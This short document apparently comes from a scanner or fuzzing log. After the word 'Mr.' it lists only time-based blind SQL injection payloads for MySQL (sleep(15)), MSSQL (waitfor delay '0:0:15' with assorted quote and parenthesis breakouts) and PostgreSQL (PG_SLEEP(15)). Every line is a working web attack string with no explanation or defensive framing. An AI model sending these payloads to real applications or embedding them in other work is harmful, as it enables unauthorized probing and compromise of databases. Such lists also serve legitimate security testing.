Mr.

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

-1; waitfor delay '0:0:15' --

-1); waitfor delay '0:0:15' --

-1)); waitfor delay '0:0:15' --

1 waitfor delay '0:0:15' --

yWsx9IIz'; waitfor delay '0:0:15' --

9plRrcVJ'); waitfor delay '0:0:15' --

T5VWQNXO')); waitfor delay '0:0:15' --

-5 OR 104=(SELECT 104 FROM PG_SLEEP(15))--

-5) OR 339=(SELECT 339 FROM PG_SLEEP(15))--